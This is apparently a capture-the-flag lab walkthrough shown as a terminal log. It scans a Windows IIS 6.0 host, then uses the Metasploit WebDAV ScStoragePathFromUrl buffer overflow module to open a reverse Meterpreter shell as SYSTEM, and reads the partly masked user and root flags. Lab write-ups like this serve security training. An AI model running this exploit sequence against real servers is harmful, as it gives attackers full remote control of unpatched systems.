```
└──╼ [★]$ ping 10.129.2.63

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.2.63
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0

searching microsoft IIS 6.0 in exploitdb gives me :
https://www.exploit-db.com/exploits/41738
WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow

└──╼ [★]$ msfconsole
msf5 > search scstoragepathfromurl

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set targeturi /_vti_bin
targeturi => /_vti_bin
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.129.2.63
rhost => 10.129.2.63
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set lhost 10.10.14.90
lhost => 10.10.14.90
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set lport 1234
lport => 1234
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 10.10.14.90:1234
[*] Trying path length 3 to 60 ...
[*] Sending stage (176195 bytes) to 10.129.2.63
[*] Meterpreter session 1 opened (10.10.14.90:1234 -> 10.129.2.63:1053) at 2021-01-03 15:41:43
+0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ls
Listing: c:\Documents and Settings\Lakis\desktop
================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-04-12 19:19:57 +0000  user.txt

meterpreter > cat user.txt
700c5dc16301********************

meterpreter > ls
Listing: c:\Documents and Settings\administrator\desktop
=======================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-04-12 14:28:50 +0000  root.txt

meterpreter > cat root.txt
aa4beed1c058********************
```